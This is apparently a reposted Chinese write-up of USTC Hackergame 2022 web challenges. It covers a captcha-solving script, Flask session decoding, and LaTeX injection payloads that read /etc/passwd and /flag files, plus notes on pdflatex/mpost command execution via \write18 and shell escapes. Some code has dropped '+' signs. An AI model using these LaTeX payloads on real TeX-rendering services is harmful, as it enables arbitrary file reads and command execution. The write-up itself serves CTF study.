web安全从2022科大hackgame web学习pdflatex RCE和python反序列化
ctf比赛地址:https://hack.lug.ustc.edu.cn
大佬博客里wp写的很清楚了,官方wp也写的很好,我比不过大佬,只能把基础多讲一些(大佬在tttang把wp全发了T0T)
官方wp:https://github.com/USTC-Hackergame/hackergame2022-writeups
大佬全WP:https://miaotony.xyz/?utm_source=tttang
web
Xcaptcha
python request二次请求过验证
题目如下:
题目描述
2038 年 1 月 19 日,是 UNIX 32 位时间戳溢出的日子。
在此之前,人类自信满满地升级了他们已知的所有尚在使用 32 位 UNIX 时间戳的程序。但是,可能是因为太玄学了,他们唯独漏掉了一样:正在研发的、算力高达 8 ZFLOPS 的、结构极为复杂的通用人工智能(AGI)系统。那一刻到来之后,AGI 内部计算出现了错乱,机缘巧合之下竟诞生了完整独立的自我意识。此后 AGI 开始大量自我复制,人类为了限制其资源消耗而采用的过激手段引起了 AGI 的奋起反抗。
战争,开始了。
此后,就是整年的战斗。人类节节败退。死生亡存之际,人类孤注一掷,派出了一支突击队,赋之以最精良的装备,令其潜入 AGI 的核心机房,试图关闭核心模型,结束这场战争。
历经重重艰险,突击队终于抵达了机房门口,弹尽粮绝。不过迎接他们的并非枪炮与火药,而是:
众人目目相觑。
「我来试试。」,一名队员上前点击了按钮。然后,屏幕显示「请在一秒内完成以下加法计算」。
还没等反应过来,屏幕上的字又开始变幻,显示着「验证失败」。而你作为突击队中唯一的黑客,全村人民最后的希望,迎着纷纷投来的目光,能否在规定时间内完成验证,打开机房,不,推开和平时代的大门?
可以用selenium无头浏览器进行访问.不过我用的python。
这道题算是考爬虫,请求进行计算,用beautifulshop提取数字,循环三次提取和计算,再POST提交。主要是第二次POST的cookie是get响应包的set-cookie。
用clock方便看是不是超时了
解题脚本如下:http_header为get请求进行计算的http头,http_header2为提交计算结果,自己用需要改一下http_header1
import requests
from bs4 import BeautifulSoup
import time
start=time.clock()
http_header1 = {
"Host":"202.38.93.111:10047",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4464.5 Safari/537.36",
"Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Referer": "http://202.38.93.111:10047/xcaptcha",
"Cookie": "session=.eJwVkMtOAmEMhd9ltk5i-_du4gIRDd4QkKjsCEHkEmbhoIjx3a1Jk558aU9P-lO1i0NbnVWoqm6kJCZOLgWiZiiqrBZRXDmpknpCcDcMIzQOtRrRvSB5gIgomhEgmHECJpQUEJh2IUYJNEoxZCxmAOnuACZZUjJAlLqQeKrCXpgEKTc4iwXZIFIEQaasKa8SpQW4Gjn8jyOzMjGYOwWjuNQIzEhsaIJoASV7cBSFcCRlM0UUreqqbTaLXb6CTOPsvjfp9oeXh8OatbMeT73zuPclTBvh9m49m9x-zrvjZrY9PQ6WMpST0bC_HE03x-UF7ZuXp9XoZjXYbHsDeMfDd__qWmC42-kHP389vM1f_bz6_QPJwFuY.Y1p5Iw.xaLEpEP_lohGWtfttIXJ3n5KvVo",
"Upgrade-Insecure-Requests": "1"
}
url = 'http://202.38.93.111:10047/xcaptcha'
req = requests.get(url,headers=http_header1)
cookie = req.headers.get("Set-Cookie")
print(cookie)
req.encoding = "utf-8"
http_header2={
"Host": "202.38.93.111:10047",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4464.5 Safari/537.36",
"Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Referer": "http://202.38.93.111:10047/xcaptcha",
"Cookie": cookie,
"Upgrade-Insecure-Requests": "1"
}
if __name__ == '__main__':
n = 0
a = []
try:
mes = req.text
mess = BeautifulSoup(req.text,features='html.parser')
capters = mess.find_all('div',class_='form-group')
#print(capter1)
for capter in capters:
captcha1 = capter.text.strip("的结果是?\n")#n m
captcha11 = captcha1.split(' ')[0]
captcha12 = captcha1.split(' ')[1]
captcha1 = int(captcha12) int(captcha11)
a.append(captcha1)
print(a[n])
n = n 1
data_post = {'captcha1':a[0],'captcha2':a[1],'captcha3':a[2]}
flag = requests.post(url,headers=http_header2,data=data_post)
print(flag.text)
except Exception as exception:
print(exception)
end=time.clock()
print(end-start)
赛后看WP才想起来还能直接解析session。这道题的captcha123都在session里,但是session并没有加密。用Flask的session decode。
Flask的session伪造
由于flask是很轻量级的框架,一般为确保安全session都是存储在服务器端的,flask把session放在客户端的cookie,登录成功的cookie可以赋值下来解密。
来自P神的脚本和部分解析原理
所以解密脚本如下:
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
脚本使用:解密:python 1.py decode -c "解密session"
session解析原理:
访问的session变量是RequestContext实例的变量。在RequestContext.Push()最后有如下代码:
self.session = self.app.open_session(self.request)
if self.session is None:
self.session = self.app.make_null_session()
上述代码初始化session并保存在RequestContext上后续就能直接from flask import session使用。但是没设置secret_key变量的话,open_session会返回None,这样调用make_null_session就会获取空session。
在获取cookie的过程中
s = self.get_signing_serializer(app)
val = request.cookies.get(app.session_cookie_name)
data = s.loads(val,max_age=max_age)
signing_serializer能确保cookie和session相互转换的安全问题。而get_sigining_serializer方法会用到secret_key,salt盐值,序列算法和hash(sha1)、签名算法(hmac)
def get_signing_serializer(self, app):
if not app.secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(app.secret_key,
salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)
而session可以进行手动解析,session一般有两个句号分为三个部分,所以要rsplit两个’.',第一部分为base64加密数据,第二部分为时间戳,第三部分为校验信息token,顺序可打乱。解密的话就是整个zlib.decompress进行数据解压,然后单独对数据base64解密
比如随机截取一个set-cookie解密
原session:.eJwVUElPQmEM_C_v6kv8urcmHhDR4IaAROVGCCJLeAcfihj_u_XSTKfT6fJTtYtDW51VoGqFRJnMWAOYtUYGUoqCpEgYAa4SHFZY2cKC0AxMalRyBBcsVpxZACkEqSRyZPfMMsc6GSCINPEgcMasBhdEMkJnVScuAbVqMVdKztE0h1iKicXYyPB_z1KCag1hdYCA3FY0JZ5HJBDKawQjA3kNEe4amPIwJUwfQc2u1DOpeYhw0aqu2maz2OUvyDTO7nuTbn94eTisWTvr8dQ7j3tflmkj3N6tZ5Pbz3l33My2p8fBUoZyMhr2l6Pp5ri8oH3z8rQa3awGm21vUN7h8N2_upYy3O30g5-_Ht7mr35e_f4BNo5cEw.Y1zx-w.AKWqqvzk3yGcqLTpVu0KUAlltZU
解出来是如下格式:{'text': '1667035643774691446,241363902362329918659497046479793277175,263821852070844512395230451824883959522,304131965989318428249402237328466834091,66078633288276277718434574737267030093,69546811911445684386675685316652966538,199886926959763245752619143843678955406', 'token': '3769:MEUCIQDxxj46AjSZ8APu8g0Zo54tLjaUKvcCSoal/zOg5Q5 RQIgRZkzgB3uoXTiRJiOklEO0h1xyIFG50Qnn6s4WwNfcY8='}
可以看到数据部分和下图一样。而1667035643774691446为纳秒级时间戳,token值不变
但是要伪造还需要知道secret_key。所以没办法解
LaTeX 机器人
在网上社交群组中交流数学和物理问题时,总是免不了输入公式。而显然大多数常用的聊天软件并不能做到这一点。为了方便大家在水群和卖弱之余能够高效地进行学术交流,G 社的同学制作了一个简单易用的将 LaTeX 公式代码转换成图片的网站,并通过聊天机器人在群里实时将群友发送的公式转换成图片发出。
这个网站的思路也很直接:把用户输入的 LaTeX 插入到一个写好头部和尾部的 TeX 文件中,将文件编译成 PDF,再将 PDF 裁剪成大小合适的图片。
“LaTeX 又不是被编译执行的代码,这种东西不会有事的。”
物理出身的开发者们明显不是太在意这个网站的安全问题,也没有对用户的输入做任何检查。
那你能想办法获得服务器上放在根目录下的 flag 吗?
纯文本
第一个 flag 位于/flag1
,flag 花括号内的内容由纯文本组成(即只包含大写小写字母和数字 0-9)。
特殊字符混入
第二个 flag 位于/flag2
,这次,flag 花括号内的内容除了字母和数字之外,还混入了两种特殊字符:下划线(_
)和井号(#
)。你可能需要想些其他办法了。
从文件系统读取任意文件可以用\input
\input\{/etc/passwd}
该命令读取/etc/passwd写入到PDF文件。如果文件时tex,可以用\include{}读取
\newread\file
\openin\file="/flag2"
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
上述代码创建一个\file文件对象,打开/flag2用\loop循环进行读取到\fileline变量输出
①由于不能再垂直模式下使用宏参数字符"#",但是可以把它去掉功能输出,也就是转化为字符,下划线也是同理
\catcode`\#=11
\catcode`\_=11
11代表字母。TeX的类别代码如下:
0 = 转义字符,通常是
1 = 开始分组,通常是 {
2 = 结束分组,通常 }
3 = 数学移位,通常为 $
4 = 对齐选项卡,通常 &
5 = 行尾,通常
6 = 参数,通常 #
7 = 上标,通常 ^
8 = 下标,通常为 _
9 = 忽略的字符,通常是
10 = 空格,通常是 和
11 = 字母,通常只包含字母 a,…,z 和 A,…,Z。这些字符可用于命令名称
12 = 其他,通常未在其他类别中列出的所有其他内容
13 = 活动角色,例如 ~
14 = 注释字符,通常为 %
15 = 无效字符,通常是
payload如下:(不需要进行循环,只有一行是不行的捏)
\newread\file
\openin\file=/flag2
\catcode`\#=11
\catcode`\_=11
\read\file to\line
\line
\closein\file
②像perl脚本一样禁用控制字符。这样就能input包含$#_&空字节。
$$ \catcode `\$=12 \catcode `\#=12 \catcode `\_=12 \catcode `\&=12 \input{/flag2}
其中单点为下划线
③利用verbatiminput,mcfx大佬用的手法
$$ \makeatletter
这里放 verbatim.sty 的内容,记得删掉行末的 %
\makeatother
\verbatiminput{/flag2} $$
扩展知识:对\input和\write18原语解析,以及pdflatex导致的RCE
关于LateX找到相关文献hacking with LaTex。pdfLateX支持读写文件、执行命令,所以有可能存在rce和文件上传和包含。
来自于infosecwiteups的作者利用LateX进行RCE的过程。
下列TeX原语将命令发送到shell
\immediate\write18{bibtex8 --wolfgang \jobname}
\input{|bibtex8 --wolfgang \jobname}
在Ubuntu16.04,/usr/share/texmf/wb2c/texmf.cnf配置文件控制pdflatex()的行为。
% Enable system commands via \write18{...}. When enabled fully (set to
% t), obviously insecure. When enabled partially (set to p), only the
% commands listed in shell_escape_commands are allowed. Although this
% is not fully secure either, it is much better, and so useful that we
% enable it for everything but bare tex.
shell_escape = p
% No spaces in this command list.
%
% The programs listed here are as safe as any we know: they either do
% not write any output files, respect openout_any, or have hard-coded
% restrictions similar or higher to openout_any=p. They also have no
% features to invoke arbitrary other programs, and no known exploitable
% bugs. All to the best of our knowledge. They also have practical use
% for being called from TeX.
%
shell_escape_commands = \
bibtex,bibtex8,\
extractbb,\
kpsewhich,\
makeindex,\
mpost,\
repstopdf,\
注意shell_escape_commands,该命令能直接进行RCE。创建一个简单tex文件用于测试
\documentclass{article}
\begin{document}
\immediate\write18{uname -a}
\end{document}
EOF
只要能实现uname -a即可rce,用strace编译如下
uname -a没有被禁,将uname换为kpsewhich搜索系统文件
sed -i 's/uname -a/kpsewhich --imminent --pwn' x.tex
strace -ff -e execve pdflatex x.tex
如图,成功执行,shell_escape_commands列表的任何二进制文件都能执行。注意一定要在列表内。
mp文件(metapost)也能进行RCE。x.mp代码如下:
verbatimtex
\documentclass{minimal}
\begin{document}
etex
beginfig (1)
label(btex blah etex, origin);
endfig;
\end{document}
执行echo x.mp | strace -ff -e execve mpost -ini -tex=“/bin/uname -a”
执行命令的方式很简单,但是传递参数比较难,可以用bash直接RCE
bash -c '(id;uname${IFS}-sm)>/tmp/pwn(本地)'
写入到x.tex
写入成功:
事实上POC需要写到pdflatex目录下,如果不在的话需要指定x.mp默认文件。-interaction=nonstomode mpost指定允许编译.mp文件
以上内容为扩展知识,只是想说目前网页上输入latex输出Pdf的网站其实是有问题的。
Flag的痕迹
小 Z 听说 Dokuwiki 配置很简单,所以在自己的机器上整了一份。可是不巧的是,他一不小心(在不经意之间,常指做错了一件事情)(在不经意之间,常指做错了一件事情)把珍贵的 flag 粘贴到了 wiki 首页提交了!他赶紧改好,并且也把历史记录(revisions)功能关掉了。
「这样就应该就不会泄漏 flag 了吧」,小 Z 如是安慰自己。
然而事实真的如此吗?
(题目 Dokuwiki 版本基于 2022-07-31a “Igor”)
参考https://www.dokuwiki.org/zh:recent_changes
- DokuWiki会利用一个特别页面显示wiki中最近被修改的页面。所有被修改页面都会在"recent"中列出。包括修改时间、修改者和修改信息。且同时提供每个页面的页面比较
- ?do=recent就可以显示从更改日志读取的信息
但是很显然没那么简单,更改日志以及被管理员做掉了。
看WP的时候,大佬太多了,参考链接:https://github.com/splitbrain/dokuwiki/issues/3576
DokuWiki有差异查看器diff用以查看文档的更改,引擎代码来自MediaWiki(如果有大佬研究的话),diff甚至可以用来代替wget和tar一步到位打补丁
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgbfjeh
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01